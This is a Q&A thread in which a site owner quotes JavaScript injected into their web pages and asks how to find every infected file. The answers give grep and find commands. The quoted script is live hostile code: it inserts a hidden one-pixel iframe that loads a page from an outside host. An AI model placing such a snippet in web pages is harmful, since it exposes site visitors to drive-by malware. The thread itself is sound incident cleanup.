find “an expression” on each file of a directory recursively

Question

One of my website on my webserver has suffered an attack : code injection.

Here is the malicious code :

<script type=\"text/javascript\" language=\"javascript\">
(function () {     
    var t = document.createElement('iframe');    
    t.src = 'http://ahtiagge.ru/count27.php';    
    t.style.position = 'absolute';    
    t.style.border = '0';    
    t.style.height = '1px';    
    t.style.width = '1px';    
    t.style.left = '1px';    
    t.style.top = '1px';    
    if (!document.getElementById('t')) {        
        document.write('<div id=\'t\'></div>');
        document.getElementById('t').appendChild(t);    
    }
 })
();</script>

I want to know the name (and path) of all files coutains the expression on my server to stanch the contagion. Here is the expression i want to match :'http://ahtiagge.ru/count27.php'

I would like results like that :

/var/www/vhosts/site1.com/httpdocs/index.php
/var/www/vhosts/site1.com/httpdocs/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/and_sub/fileN.php

How can I realize this with a shell script ? is it possible ? Is someone can help me ?

Best regards,

Answer 1

You can simply use grep for the same

grep -RP "http:\/\/ahtiagge.ru\/count27\.php" /var/www/vhosts/

or only check in *.php files only with the help of find

find /var/www/vhosts/ -name "*.php" -print | xargs grep -P "http:\/\/ahtiagge.ru\/count27\.php"

Answer 2

I like this command:

grep -i -n -I -H -R --include="*.php" -E "some_expression" .

Cheers.